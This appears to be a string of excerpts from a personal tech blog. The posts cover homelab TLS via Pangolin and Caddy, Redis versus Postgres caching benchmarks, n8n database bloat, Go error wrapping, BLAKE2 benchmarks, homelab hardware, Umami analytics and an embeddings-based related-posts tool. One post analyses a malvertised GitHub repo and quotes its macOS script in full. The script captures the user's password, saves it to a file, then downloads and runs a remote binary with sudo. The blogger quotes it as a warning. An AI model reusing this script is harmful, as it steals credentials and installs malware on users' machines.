Thankfully, Pangolin allows for this via its private resources. You can define a resource that is only accessible when you’re connected to the network via the pangolin client. It also allows setting a DNS alias for the resource in question, so you can point a subdomain like frigate.example.com to the internal resource. When connected via the client, the DNS will be resolved by a private DNS server running in the client and pointed in the right direction. This poses a small issue though - while Pangolin will happily pass ACME domain challenges for public resources, there’s no such mechanism at the moment for private resources. What this means is that you can’t easily obtain TLS certificates for such domains.

I’ve worked around this limitation by doing the following. I’ve got a reverse proxy - in my case caddy - spun up in my homelab. It’s not exposed and is not reachable on the public internet, so it uses DNS-01 challenges by manipulating TXT records on the domain in question.

To do this, I’ve used the Caddy Cloudflare module. I build an image with it, here’s the Dockerfile:

FROM caddy:2.10.2-builder AS builder

RUN xcaddy build \
    --with github.com/caddy-dns/cloudflare

FROM caddy:2.10.2

COPY --from=builder /usr/bin/caddy /usr/bin/caddy

With it, my Caddyfile looks like so:

    frigate.example.com {
      reverse_proxy frigate.default.svc.cluster.local:3030
      tls {
        dns cloudflare {env.CLOUDFLARE_API_TOKEN}
        resolvers 1.1.1.1
      }
    }

In my Pangolin configuration I can point the private resource to the reverse proxy and specify the alias of frigate.example.com. Now, when connected via the Pangolin client to the network, I can type frigate.example.com in my browser and get to view my frigate dashboard over HTTPS.

Hope you find this useful!

The setup

I’ll run the experiment on my homelab’s k8s cluster. The idea is to run Postgres or Redis on one node, limiting it to 2CPUs via k8s limits, as well as 8GiB of memory. On another node, I’ll run the web server itself and then spin a pod for the benchmark executed via k6 on the third.

Both postgres and redis are used with the out of the box settings for the following images:

• Postgres - postgres:17.6
• Redis - redis:8.2

I wrote a simple webserver, with 2 endpoints, a cache and a “Session” struct which we’ll store in the cache:

var ErrCacheMiss = errors.New("cache miss")

type Cache interface {
	Get(ctx context.Context, key string) (string, error)
	Set(ctx context.Context, key string, value string) error
}

type Session struct {
	ID string
}


func serveHTTP(c Cache) {
	http.HandleFunc("/get", getHandler(c))
	http.HandleFunc("/set", setHandler(c))

	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	fmt.Println("Server starting on http://0.0.0.0:" + port)

	server := &http.Server{Addr: "0.0.0.0:" + port}

	go func() {
		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			fmt.Println("Error starting server:", err)
		}
	}()

	quit := make(chan os.Signal, 1)
	signal.Notify(quit, os.Interrupt)
	<-quit

	fmt.Println("Shutting down server...")

	if err := server.Close(); err != nil {
		fmt.Println("Error shutting down server:", err)
	}
}

For redis, I’ve implemented the cache using github.com/redis/go-redis/v9 as follows:

type RedisCache struct {
	client *redis.Client
}

func NewRedisCache() *RedisCache {
	redisURL := os.Getenv("REDIS_URL")
	if redisURL == "" {
		redisURL = "localhost:6379"
	}

	fmt.Println("Connecting to Redis at", redisURL)

	client := redis.NewClient(&redis.Options{
		Addr:     redisURL,
		Password: "",
		DB:       0,
	})

	return &RedisCache{
		client: client,
	}
}

func (r *RedisCache) Get(ctx context.Context, key string) (string, error) {
	val, err := r.client.Get(ctx, key).Result()
	if err == redis.Nil {
		return "", ErrCacheMiss
	}
	if err != nil {
		return "", err
	}
	return val, nil
}

func (r *RedisCache) Set(ctx context.Context, key string, value string) error {
	return r.client.Set(ctx, key, value, 0).Err()
}

The postgres cache is implemented using the github.com/jackc/pgx/v5 library:

type PostgresCache struct {
	db *pgxpool.Pool
}

func NewPostgresCache() (*PostgresCache, error) {
	pgDSN := os.Getenv("POSTGRES_DSN")
	if pgDSN == "" {
		pgDSN = "postgres://user:password@localhost:5432/mydb"
	}

	cfg, err := pgxpool.ParseConfig(pgDSN)
	if err != nil {
		return nil, err
	}

	cfg.MaxConns = 50
	cfg.MinConns = 10

	pool, err := pgxpool.NewWithConfig(context.Background(), cfg)
	if err != nil {
		return nil, err
	}

	_, err = pool.Exec(context.Background(), `
		CREATE UNLOGGED TABLE IF NOT EXISTS cache (
			key VARCHAR(255) PRIMARY KEY,
			value TEXT
		);
	`)
	if err != nil {
		return nil, err
	}

	return &PostgresCache{
		db: pool,
	}, nil
}

func (p *PostgresCache) Get(ctx context.Context, key string) (string, error) {
	var content string
	err := p.db.QueryRow(ctx, `SELECT value FROM cache WHERE key = $1`, key).Scan(&content)
	if err == pgx.ErrNoRows {
		return "", ErrCacheMiss
	}
	if err != nil {
		return "", err
	}
	return content, nil
}

func (p *PostgresCache) Set(ctx context.Context, key string, value string) error {
	_, err := p.db.Exec(ctx, `INSERT INTO cache (key, value) VALUES ($1, $2) ON CONFLICT (key) DO UPDATE SET value = $2`, key, value)
	return err
}

I’ll seed the redis and postgres with 30 million entries each, keeping record of the inserted uuids. From there, I’ll generate a subset of existing uuids to use while benchmarking. This allows for simulating both hits and misses.

I’ll do a few runs of benchmarks for gets first, then sets and then a mixed run. Each run will execute for 2 minutes. I’ll look at the number of operations per second, latencies as well as memory and CPU usage during those times.

To simulate a somewhat real scenario where only a subset of keys exist in the cache the set benchmark will have a 10% chance to update an existing key, whereas the get will have an 80% chance of picking an existing key. The mixed workload will have a 20% chance to execute a set scenario and 80% for the get scenario.

The results

Getting values from cache

Redis performed better than Postgres, which did not surprise me at all. The bottleneck was actually the HTTP server. The machine running the http server maxed out on CPU, with redis running comfortably with ~1280mCPU - short of the 2000mCPU limit imposed. Redis used ~3800MiB of RAM, which stayed flat across the runs.

For postgres, the bottleneck was the CPU on postgres side. It consistently maxed out the 2 cores dedicated to it, while also using ~5000MiB of RAM.

Redis also did better when it comes to latencies of the HTTP responses:

Setting values in cache

Once again Redis performed better. The CPU usage stayed roughly the same as in the case of the GET experiment, with the RAM usage growing to ~4300MiB due to the new keys being inserted. The bottleneck stayed on the HTTP server side, with Redis using ~1280mCPU once again.

Postgres once again was bottlenecked by the CPU, constantly using 100% of the 2 cores it was limited to. During the course of the run, the memory usage grew to ~5500MiB.

During the test, the endpoints with the Redis cache implementation also had better latencies:

Read/write performance

The mixed benchmark also returned the predictable result of Redis reigning superior. As has been the story so far, the CPU stayed put at ~1280mCPU, RAM usage grew a bit due to the new keys being inserted.

Postgres maxed out the two cores and reached around 6GiB of memory used.

Latencies once again were better when using redis:

Unlogged tables

In the benchmark, I’ve used an unlogged table for postgres but this has not seemed to help, or has it? If I rerun the same benchmark with a normal(logged) table we can look at the numbers.

The unlogged table makes a huge difference for the write benchmark and a somewhat smaller but still significant one for the mixed workload. This is because the unlogged tables skip the write ahead log making them a lot faster for writes. There’s very little difference for the read performance though and I expect more runs would show the two test cases converging.

Conclusion

Redis is faster than postgres when it comes to caching, there’s no doubt about it. It conveniently comes with a bunch of other useful functionality that one would expect from a cache, such as TTLs. It was also bottlenecked by the hardware, my service or a combination of both and could definitely show better numbers. Surely, we should all use Redis for our caching needs then, right? Well, I think I’ll still use postgres. Almost always, my projects need a database. Not having to add another dependency comes with its own benefits. If I need my keys to expire, I’ll add a column for it, and a cron job to remove those keys from the table. As far as speed goes - 7425 requests per second is still a lot. That’s more than half a billion requests per day. All on hardware that’s 10 years old and using laptop CPUs. Not many projects will reach this scale and if they do I can just upgrade the postgres instance or if need be spin up a redis then. Having an interface for your cache so you can easily switch out the underlying store is definitely something I’ll keep doing exactly for this purpose.

Thanks for reading!

I started creating this automation and pretty soon had something that resembled the finished workflow. I started testing it out. However, I ran into a problem. I had a Read/Write files from disk node in my workflow, and whenever I manually executed it, it would take way too long to finish - a couple of minutes. My first thought was OK - the video files are pretty large, and we’re likely loading them into memory. Then again, it should not take that long, as the video I was testing with was about 200MB in size. I tried playing around with it a bit more but could not get it to work properly. The spare time I had ran out, so I left it as is to continue with it when I next have time for it.

A few days pass, and I notice that the s3 bucket I use for off-site backups started rapidly increasing in size. My backup script takes in a bunch of directories in my NAS that I consider critical, things like my database dumps, configuration files and similar. These are then backed up using kopia to an s3 bucket. The backup is pretty small, usually. The databases are a hundred MB, other files in the backup take a similar amount of space. It was very unusual to see the backup gaining a couple of gigabytes a day. So I went to investigate.

I looked at the backup, and noticed that my database dump went from 104 MB on one day, to 2.37GB the next. I quickly determined that the culprit was the public.execution_data table in the n8n database by first running the query:

SELECT 
    datname AS database_name,
    pg_size_pretty(pg_database_size(datname)) AS size
FROM 
    pg_database
ORDER BY 
    pg_database_size(datname) DESC;

This helped me determine which database was the culprit. I then executed the following on the relevant database:

SELECT 
    schemaname || '.' || relname AS table_name,
    pg_size_pretty(pg_total_relation_size(relid)) AS total_size,
    pg_size_pretty(pg_relation_size(relid)) AS table_size,
    pg_size_pretty(pg_total_relation_size(relid) - pg_relation_size(relid)) AS index_size
FROM 
    pg_catalog.pg_statio_user_tables
ORDER BY 
    pg_total_relation_size(relid) DESC;

Which listed public.execution_data as the one to blame.

How so? Well… apparently, when you use the Read/Write Files from Disk node in n8n, the data for the run is saved as is in the table, meaning that all executions saved the mp4 file to the database. This is also the reason why the node took so long to execute.

To alleviate this, you should set the env var N8N_DEFAULT_BINARY_DATA_MODE to filesystem as per n8n docs. Removing the relevant workflow runs from n8n and running a postgres vacuum shrunk the database dump back to 100MB. The step is now also taking seconds, not minutes to complete.

Having this data stored in the database allows for the n8n runs to be repeatable, but doesn’t play very nice if you’re working with larger files, such as video. I haven’t tinkered as much yet, but I guess using the filesystem mode would mean that if you move the file in the filesystem, you’re not going to be able to fully reproduce a workflow run in n8n. However, if you are self hosting, working with large files and don’t really care about the ability to reproduce a run, it’s probably best to use the filesystem mode.

This link leads to a repo in Github. It has the following readme - I’ve omitted the domain and path:

If we look at the script in question:

#!/bin/bash

username=$(whoami)

while true; do
  echo -n "System Password: "
  read password
  echo

  if dscl . -authonly "$username" "$password" >/dev/null 2>&1; then
    echo -n "$password" > /tmp/.pass
    break
  else
    echo "Incorrect password! Try again."
  fi
done

curl -o /tmp/update https://some-other-domain.nonexisting.definitely.does.not.exist.localhost/njs/update >/dev/null 2>&1
echo "$password" | sudo -S xattr -c /tmp/update >/dev/null 2>&1
chmod +x /tmp/update
/tmp/update

It prompts for your pass, stores it in a file and downloads a binary. It then executes that binary and your system is compromised.

This attack seems to target quite a few google keywords, as I’ve tried other queries related to installing Node and quite a few of them show the sponsored malware.

I’ve reported the repository and the ad as malicious and hopefully Github/Google will take it down. Nevertheless - it serves as a reminder that it’s as important as ever to stay vigilant and never execute arbitrary scripts on your machines. Stay safe!

func someFunction() error {
	err := someStruct{}.someMethod()
	return fmt.Errorf("someFunction: %w", err)
}

type someStruct struct {
}

func (ss someStruct) someMethod() error {
	return fmt.Errorf("someMethod: %w", errors.New("boom"))
}

If I now call someFunction, the error - when logged or printed - will look like this: someFunction: someMethod: boom. This gives just enough context to figure out what happened, and where.

I thought to myself - this can be wrapped in a helper function, to automatically take the caller name and do this wrapping for me.

Here’s an implementation:

func WrapWithCaller(err error) error {
	pc, _, line, ok := runtime.Caller(1)
	if !ok {
		return fmt.Errorf("%v: %w", "unknown", err)
	}
	fn := runtime.FuncForPC(pc).Name()
	pkgFunc := path.Base(fn)
	return fmt.Errorf("%v:%d: %w", pkgFunc, line, err)
}

We can now use it like so:

func someFunction() error {
	err := someStruct{}.someMethod()
	return WrapWithCaller(err)
}

type someStruct struct {
}

func (ss someStruct) someMethod() error {
	return WrapWithCaller(errors.New("boom"))
}

And it will return the following: main.someFunction:45: main.someStruct.someMethod:52: boom. Keep in mind that this will have performance overhead:

func Benchmark_WrapWithCaller(b *testing.B) {
	err := errors.New("boom")
	for i := 0; i < b.N; i++ {
		_ = WrapWithCaller(err)
	}
}
// Result:
// Benchmark_WrapWithCaller-10    	 2801312	       427.0 ns/op	     344 B/op	       5 allocs/op

func Benchmark_FmtErrorf(b *testing.B) {
	err := errors.New("boom")
	for i := 0; i < b.N; i++ {
		_ = fmt.Errorf("FmtErrorf: %w", err)
	}
}

// Result:
// Benchmark_FmtErrorf-10    	13475013	        87.19 ns/op	      48 B/op	       2 allocs/op

So it’s 4-5 times slower than a simple wrap using fmt.Errorf.

One benefit of using WrapWithCaller is that refactoring is easier - you change the function/method name and don’t need to bother yourself with changing the string in the fmt.Errorf. The performance hit is likely not an issue for most programs, unless you’re wrapping tons of errors in hot loops or something like that.

I’m a bit torn if I want to add this helper to my codebases and use it everywhere - seems like an extra dependency with little benefit, but I’ll have to give it a spin before I decide if this is something I’m ready to accept. Time will tell. Thanks for reading!

BLAKE2 was designed with the following ideas in mind:
…
It should be faster than all previous hash standards

Cool, I thought, let’s consider BLAKE2 then. First, let’s write a simple benchmark to see just how much faster BLAKE2 would be than HMAC-SHA256. Performance is not important for my use case as the hashing will almost certainly not be a bottleneck but I was curious. So I write a benchmark:

import (
	"crypto/hmac"
	"crypto/rand"
	"crypto/sha256"
	"log"
	"testing"

	"golang.org/x/crypto/blake2b"
)

func BenchmarkHashes(b *testing.B) {
	token := []byte("some-api-token")
	secretKey := generateSecretKey()

	b.ResetTimer()

	_ = b.Run("HMACSHA256", func(b *testing.B) {
		for b.Loop() {
			_ = HMACSHA256(token, secretKey)
		}
	})

	_ = b.Run("BLAKE2b", func(b *testing.B) {
		for b.Loop() {
			_ = BLAKE2b(token, secretKey)
		}
	})
}

func generateSecretKey() []byte {
	key := make([]byte, 32)
	_, err := rand.Read(key)
	if err != nil {
		panic(err)
	}
	return key
}

func HMACSHA256(token []byte, secretKey []byte) []byte {
	h := hmac.New(sha256.New, secretKey)
	h.Write(token)
	return h.Sum(nil)
}

func BLAKE2b(token []byte, secretKey []byte) []byte {
	hasher, err := blake2b.New256(secretKey)
	if err != nil {
		log.Fatal(err)
	}
	hasher.Write(token)
	return hasher.Sum(nil)
}

Run it and the results are:

cpu: Apple M1 Max
BenchmarkHashes/HMACSHA256-10         	 3442680	       341.0 ns/op	     512 B/op	       6 allocs/op
BenchmarkHashes/BLAKE2b-10            	 1966382	       584.0 ns/op	     416 B/op	       2 allocs/op

OK… So BLAKE2 is slower than HMAC-SHA256. Yes, we have less allocations which is nice, but it does take quite a few more CPU cycles. My first thought is that it might indeed be faster but only if the input is like way, way longer. So I switch to the following token:

	token := []byte(strings.Repeat("some-api-token", 10000))

cpu: Apple M1 Max
BenchmarkHashes/HMACSHA256-10         	   19536	     59946 ns/op	     512 B/op	       6 allocs/op
BenchmarkHashes/BLAKE2b-10            	    6452	    190926 ns/op	     416 B/op	       2 allocs/op

Hmmmm… This is even worse. Now, it could be that we’re dealing with a non optimal implementation. SHA256 is implemented in the stdlib in Go and very likely well optimized, whereas the BLAKE2 implementation I’m using comes from the golang.org/x/crypto package. Perhaps we can find a better one. The first search result recommends github.com/minio/blake2b-simd which has been archived since 2018. Not promising, but let’s give it a shot.

import (
    blakeMinio "github.com/minio/blake2b-simd"
)

func BLAKE2bMinio(token []byte, secretKey []byte) []byte {
	hasher := blakeMinio.NewMAC(32, secretKey)
	hasher.Write(token)
	return hasher.Sum(nil)
}

These are the results with the original token.

cpu: Apple M1 Max
BenchmarkHashes/HMACSHA256-10         	 3622322	       316.7 ns/op	     512 B/op	       6 allocs/op
BenchmarkHashes/BLAKE2b-10            	 2881012	       415.6 ns/op	     416 B/op	       2 allocs/op
BenchmarkHashes/BLAKE2b-minio-10       	 2138151	       566.4 ns/op	     480 B/op	       2 allocs/op

So this is even slower… I quickly glance over the codebase of github.com/minio/blake2b-simd and notice all the architecture specific files but there aren’t any for ARM architecture. Let’s try on a machine with an AMD64 processor.

cpu: Intel(R) Core(TM) i5-7200U CPU @ 2.50GHz
BenchmarkHashes/HMACSHA256-4         	  761613	      1488 ns/op	     512 B/op	       6 allocs/op
BenchmarkHashes/BLAKE2b-4            	 2287569	       566.9 ns/op	     416 B/op	       2 allocs/op
BenchmarkHashes/BLAKE2b-minio-4      	 1541990	       765.4 ns/op	     480 B/op	       2 allocs/op

Right, so it seems that the implementations I’m using are only optimized for AMD64. Or are they? One final test, I spin up an ARM based VPS on Hetzner to test it out. Note, that since the benchmark was not able to determine the exact CPU model the CPU line was omitted.

BenchmarkHashes/HMACSHA256-2         	 1000000	      1007 ns/op	       512 B/op	       6 allocs/op
BenchmarkHashes/BLAKE2b-2            	 1367085	       879.6 ns/op	       416 B/op	       2 allocs/op
BenchmarkHashes/BLAKE2b-minio-2      	 1123965	      1080 ns/op	       480 B/op	       2 allocs/op

So with this, it seems that the issue only occurs on Apple Silicon processors. In the benchmarks with other processors, the BLAKE2b does win. I’m not entirely sure what causes this as CPU architectures are not my strong suite. If you do - please let me know by posting a comment.

Since this is (almost) the first post on my homelab setup let me start with some background. I am a software developer who likes to dabble in infrastructure. I like hosting things that I use on my own servers. However, as much as I’d like to run them on racks due to the electricity costs in Europe this is prohibitively expensive. What is more - this requires space, which I do not want to sacrifice at home. Therefore, my homelab is on the small side - both physically and from the resource perspective. I also tend to try not to spend too much on hardware so I end up running old and/or second hand hardware.

Hardware

Compute

The homelab consists of 4 machines. These are:

MSI Cubi 3 Silent NUC

This NUC has been running for close to 6 years now. I originally bought it in 2019 with 16GB of RAM, but since upgraded it to 32GB. It still has the original SSD in it and has run faultlessly.

I’ve an old blog post about this machine specifically, if you’re interested.

Currently, this machine acts as k3s server.

2x Lenovo ThinkCentre M910 Tiny

These I bought post lease for around 130 Euros each in 2023. I’ve no clue how much use they saw before becoming part of my homelab, but they have been running flawlessly for the last two years here. These things are tiny and powerful. They are also quiet. This was very important when I was living in an apartment. If I ever need to expand my homelab again, I’m sure to be looking for more post lease ThinkCentres.

These machines are the agents on my k3s cluster.

Mostly second-hand NAS

Originally assembled at the end of 2023. The new parts on the NAS are the case and the storage drives. The rest of the components I scavenged off of local bulletin boards & local recycling companies working with electronic waste. The whole system(minus the storage) set me back around 250 Euros, with the case being half that. I would have gone for a bigger case(a used one) but living in an apartment space was at a premium and I could not find anything second-hand that would fit the specific place I had in mind for this machine. I would also have gone for HDDs were it not for the noise.

This machine now runs TrueNAS SCALE and serves as durable storage for the k3s cluster.

Networking

I currently live in a location where no wired internet is available. Therefore, I’ve a 4/5G CPE (H352-381) providing the main connectivity. Since the quality of the internet depends heavily on the load of the nearby cellular towers, I see quite dramatic slowdowns during busy hours, such as Sunday evenings. On working days, I’ll get 200-300Mbps down, 50mbps up. On weekends and busy evenings this can drop down to 50 down, 10 up.

Knowing that wireless internet can be a bit of pain, I’ve opted to for a router with dual WAN support. I went for TP-Link’s ER605. The plan is to get a starlink at some point and plug that in.

From there, I’ve 2x TP-Link Deco XE75 wireless access points - one per floor of the house. These have far exceeded my expectations. They provide excellent coverage even in a concrete house and far beyond it.

There are also a couple of unmanaged switches somewhere along the way here as well.

Auxiliary devices

I also own a few shelly smart plugs, those are mostly used for measuring the power consumption of the homelab and for whenever I’m curious about a random device’s power consumption. Besides that, I have 2x Shelly H&T Gen 3 humidity and temperature sensors for monitoring these around the house.

Power consumption

Over the years, I’ve grown quite conscious about how much electricity the devices around the house use. When choosing the hardware I always try to consider energy consumption, to a reasonable degree that is. The homelab uses approximately 49 watts of power in total with the usual load it’s seeing. The NAS is consuming ~22w of that, the Lenovo ThinkCentres take around ~8W each and the Cubi draws ~10W. At the current electricity prices here this comes to right around 7.5 euros a month.

I’ve written in more detail about the power consumption of these machines in my previous blog post if you’re interested.

The “rack”

The homelab neatly fits in a custom built rack with NAS sitting on the bottom shelf, and compute units above that. There’s a power strip attached to the side of it, as well as a small switch. Each of the machines is plugged into a shelly smart plug, which continuously emits updates of the usage to an MQTT server inside the k3s cluster. The rack sits in the utility room of my house. Here’s what it looks like:

The idea here is to put a monitor on top in the future, as well as a keyboard to allow for easy access if the servers would start acting up. This, however, is still in the works. I’ve purposefully left some space to be able to shove more one litre computers if needed.

Software

The NAS

The NAS machine runs TrueNAS Scale. It has a single 4-wide RAIDZ2. 2TB drives each give me a usable capacity of 3.4TB. While this might not sound like a lot, I don’t really store much media here. I store data for applications that I run in k8s and in my case these are usually tiny. I expose the dataset as an SMB share.

The only additional application I end up running on the NAS is netdata for metric collection. This netdata instance only collects the metrics and forwards the data to a netdata parent running on the k3s cluster. I’ve written a blog post on how to do that previously.

Periodically, a job on the k3s cluster will backup the important bits from NAS into an off-site s3 bucket. I use kopia for backups.

The k3s cluster

The cluster consists of a single k3s server and two agents. With the exception of my NAS, all the other hosts run debian. On top of that, I have k3s installed. From there, I use helm with the helm secrets plugin to deploy a whole bunch of things on the kubernetes cluster. The helm charts are stored in a private git repo on github.

Some of the first helm charts I installed on the cluster are the kubernetes csi driver to access the SMB share on the NAS and MetalLB for any services that I need exposed on the local network. I also deploy a PostgreSQL instance to serve as my main database.

For each of the domains I own and use (including the one you’re currently on) I deploy three things - a cloudflared instance for the cloudflare tunnel which forwards traffic to an nginx instance. This then forwards requests further to either a specific kubernetes service or authelia for authentication.

For monitoring I use Netdata. I use their helm chart in the k3s cluster, with a single parent and children running on each node. It will automatically pick up prometheus metrics from pods with the appropriate annotations present.

The actual applications

I think it’s time to move away from the infrastructure and talk about the actual things I have running there:

• Audiobookshelf - I don’t listen to ebooks that often, but when I do I prefer the self hosted option.
• Cyberchef - comes in handy for the work that I do.
• Excalidraw - extensively used for work, self hosting gives me peace of mind.
• Harbor - all the applications I build immediately get Dockerized, and CI builds & pushes them here.
• Jellyfin - this one does not need an introduction, I think.
• Miniflux - let’s me keep up to date with a few blogs I like to read.
• Mouthful - is how I handle comments on this blog.
• Owntracks - a work in progress, helps with home automation.
• Paperless-ngx - I’d say this is my second most popular app on my homelab. An absolute lifesaver. I’ve moved away from paper documentation completely thanks to it.
• EMQX - my MQTT broker of choice. Shellies report their energy consumption here, owntracks uses it as well. I also have some applications hooking into it and emitting events.
• Pi-hole - helps with ad blocking.
• Tandoor - a library of food recipes I enjoy.
• Github action runner controller - allows the cluster to run github actions CI workloads on my own servers.
• Ripe atlas probe - my meager contribution to the RIPE Atlas project. At some point I might even find a way to spend all the credits I’ve accumulated…
• Silverbullet - probably the app that I use the most out of all. I’ve tried many different notes apps, for some reason this one stuck.
• 13ft - for those few times a year when I actually have to read the Medium article.
• Unbound - self hosted DNS resolver, my pi-hole uses it, and my network uses pi-hole as the dns server.
• Umami - self hosted, privacy respecting analytics. There are many like it, but this one uses few resources and is generally pretty good. See my full post on it if you’d like.
• Vaultwarden - password manager of choice.
• Yopass - for when I need to share a secret.
• Custom prometheus exporters. These export things such as shelly statuses, power consumption and various other metrics.
• A few discord bots I’ve written.
• A few web apps & internal APIs I’ve developed over the years, like the embedding api for post recommendations
• And a few cronjobs to back up all the things that need backing up.

The whole cluster uses around 1.1 cores under normal load and around 19GB of RAM.

The future

While I’m generally happy with my homelab, there are a few points that I got wrong or would like to improve.

First, I’d like to run postgres on a completely separate host, or more ideally on two separate hosts with automatic failover. For this, I’d like to use the two M910 Tiny’s I already have. This would require me to remove them from the k3s cluster. I’d like to replace them 2 small machines, possibly with the Intel’s N series processors. However, I’ve struggled to find second hand options for them. I’d use them as k3s servers with the whole cluster consisting of 3 servers. This would allow a failure of a single node with no downtime.

Second, I wish to switch my NAS to an HDD array for extra storage. This will come in handy for future projects. I would also like to move away from SMB to NFS shares, as I’d expect those to play nicer with linux and mac machines at home. I chose SMB for the theoretical use-case of having a windows machine at home, but I’ve never gotten one.

Third, I intend to move away from cloudflare tunnels. I’ll use a VPS and some self hosted tunnel alternative, I’m yet to decide which one. I’ll need to write an ansible playbook to set the server up to my liking so that I can freely move between VPS providers if/when needed.

Fourth, there’s a few applications that are on my to self-host list:

• Changedetection for bargain hunting.
• Frigate to replace the dedicated NVR I currently have running at home.
• A dashboard for the entirety of my home. Ideally it would have links to all the listed applications and allow for custom pages to help with home automation.

Fifth, integrate all the utility appliances at home, such as the recuperator and the heat pump with the dashboard mentioned above to allow for easy control in a single panel, instead of having to use multiple applications.

Sixth, add a UPS to the homelab. This is a nice to have and might not happen any time soon but it’s something I could grab if the right deal comes along.

Seventh, add an outdoor thermometer or a whole weather station to the setup and a prometheus exporter for it so it can be visualized in Netdata.

Eight, actually mount a monitor on top of the rack. A keyboard would help there as well in case I need to directly hook into one of the machines.

And probably a few other things as well…

That’s what my homelab setup looks like. If you made it this far - thank you for reading. If you have any questions, do drop a comment below!

The specs

1x MSI Cubi 3 Silent NUC

2x Lenovo ThinkCentre M910 Tiny

1x Mostly second-hand NAS

The setup

Since these are all currently plugged into shelly smart plugs, I’m able to tell the power usage of each of them separately. The plug measures the power consumption and reports that to EMQX via MQTT. From there, I have a custom prometheus collector implemented. It subscribes to the relevant topics on EMQX, and exposes a /metrics endpoint in the prometheus exposition format. This is periodically crawled by netdata, which is running in the same cluster.

I created a dashboard in netdata which allows me to visualize the CPU usage of each machine and its power consumption. It looks something like this:

I’m not going to measure the consumption of the systems when they are idle as there are quite a few things running on my cluster and I wouldn’t like to interrupt them. However, I’ll show the current CPU usage and the power draw from the plug. The CPU usage is what I’d call steady in my homelab, it rarely spikes and seems to be pretty consistent across the board. We’ll call this the baseline.

I’ll then do a 10 minute stress test using the stress tool on each machine, to see what the power consumption looks like at that moment.

The results

Note that the CPU % shows the % of cpu used across all cores - 100% indicates that all cores are working at their max. The cost estimates assume a price of 0,211479 €/kWh - coming directly from my last bill and I’ll call 30 days a month.

Here are the results for the baseline:

And for the full load test:

Thanks for reading!

First, I’d like the analytics platform to be privacy focused. No cookies, GDPR compliant, no PII. Umami checks this mark.

Second, many of the alternatives had quite a bit of hardware resource overhead once hosted. They would either consume a ton of memory, the cpu usage would be high or require me to host something like ClickHouse to run them. Since this blog is not the new york times I feel like hosting a specific database for it would be overkill. My homelab is rather small, so keeping things minimal is how I manage to stretch it. Umami consumes around 1% of a CPU core and ~240MiB of RAM on my homelab.

Third, postgres as the datastore. Postgres is my go to database, and I host tons of small tools that use it as the backend. I like having a single instance that can then be easily backed up & restored, without having to resort to a ton of different databases. Therefore, any analytics tool would have to use it.

Fourth, the tracking script should be minimal in size, not to affect load times too badly. The blog itself is pretty lightweight, so any tracking script bloat would defeat that. The Umami script has a content lenght of 1482 bytes once gzipped, not too shabby.

Generally, I’ve been happy with the choice. However, there is one thing in Umami that annoys me more than it probably should: the visit timer. Apparently, the visit time is only updated once a user navigates to another page on the blog. If they simply leave, there’s no visit duration stored whatsoever. This makes the visit time tracker completely useless. I’m not the first one to notice this but the issue has since been moved to a discussion which has seen no progress.

Good news is there’s a few things one could do - perhaps add a custom event to track this? Or fork Umami, since it’s open source and fix it. Both of these fall strictly into my “can’t be arsed to do” category, so I guess it’s not that important.

Thanks for reading! Perhaps there are other analytics tools that tick the boxes above? Let me know in the comments below.

This blog is made with Hugo and uses the related content feature which provides a list of related posts based on the tags & keywords you use. While I have no quarrels with the mechanism, I thought this would be a good place to try and experiment with embeddings.

The thought process

Since this blog is static, and I’d like it to keep it that way wherever possible I figured I’ll need to pre-compute the related posts for each post whenever a Hugo build is issued. However, there seems to be no way to natively hook into the Hugo’s build pipeline, so I’ll have to handle this via a script. The script would build a matrix of posts and their embeddings, compare each post to the rest of the posts and rank them according to their cosine similarity. I’d then keep the top N of those. I would then need to get Hugo to render these as links to those posts. To achieve this, I’ll have to save the recommended posts as part of the original post, probably in the frontmatter, so that these are available when rendering the related posts section via Hugo.

This pretty much lead me to the following architecture:

1. A CLI(written in Go) to compare posts via their embeddings and manipulate the .md files.
2. An API(written in Python) with a model to calculate an embedding for a given text.

I could write everything in Python and have a single CLI for this, but my intent is to have this as a part of a generic blog cli helper tool which I’d like to keep in Go. Ideally, I’d stick with Go for the API part as well but using Python here makes life easier due to the excellent ML support and plentiful examples. I might re-visit this choice at some point though.

Keep in mind that any code you find here is just a script intended for personal use, it will not be the prettiest or most optimized code you’ve ever seen, but that’s not my goal here.

Choosing the model

ML models can be huge. I’m not aiming for a world-class solution here, and I’d like something that is reasonably small as I intend to run it on my homelab. My homelab runs on very modest hardware - second hand 1L computers with no dedicated GPUs, old CPUs and limited amounts of RAM, so I’d like something relatively small. Since I’m going to feed in full blog posts, I might choose something with a larger token limit. Other than that, I have very limited knowledge of what I should pay attention to as far as models for this specific task.

After typing in a few search queries, I’ve stumbled upon the Massive Text Embedding Benchmark (MTEB) Leaderboard. I then glanced through the list, choosing jina-embeddings-v3 due to its small size(2.13GB listed memory usage) and good accuracy - that’s the hope, at least - it’s rank 26 on the leaderboard at the time of writing after all.

The API

From there, I’ve opted to quickly build a super small python HTTP API with a single endpoint. It takes a POST at /embedding with a payload of:

{
  "text": "Lorem ipsum dolor sit amet."
}

And returns an embedding:

[
  0.052685488015413284,
  // omitted 1022 entries for brevity
  // ...
  0.017726296558976173
]

I tested this locally and found that the embedding calculation can take some time. For longer texts, this might take as long as 10 seconds. While I don’t expect to run the process for all the posts in my blog frequently, I figured I’d need to add some persistence here. I intend to run this on my homelab, which consists of 1L post lease machines with no dedicated GPUs and old generations of CPUs so it would be even slower there. To keep things simple, I opted to add support for a postgres table that stores the hash of the input text as well as the resulting embedding. Upon receiving a request I’ll calculate the hash of the text and check for its existence in the database first allowing for quick responses if a text has already been processed. In reality this means that unless I edit a blog post, an embedding response for it should be rapid if I had it calculated in the past.

I also added an optional API token to add some very crude auth support.

I then wrote a Dockerfile for it, and proceeded to host it in my homelab. With it now accessible by my CLI, I had the API ready.

Oh, and it’s currently using right around ~3.6GiB of memory:

To calculate embeddings for a single blog post usually takes around 7 seconds on my hardware. The time scales with the length of the post. It also seems to consume a full CPU core when doing so:

The full code for the API is available here.

The CLI

The folder structure of my blog posts looks something like this:

content/
├── posts/
│   ├── 2024/
│   │   ├── post-title/
│   │   |   └── index.md

The cli accepts a base path, ./content/ in my case. It will walk through the directory, parsing each index.md file as a post. It will store it in memory, in the following structure:

type Frontmatter struct {
	Title        string    `yaml:"title"`
	Date         time.Time `yaml:"date"`
	Draft        bool      `yaml:"draft"`
	Author       string    `yaml:"author"`
	Tags         []string  `yaml:"tags"`
	Description  string    `yaml:"description"`
	SimilarPosts []string  `yaml:"similar_posts"`
}

type Content []byte

type MarkdownPost struct {
	RawContent  []byte // frontmatter + separators + content
	Path        string
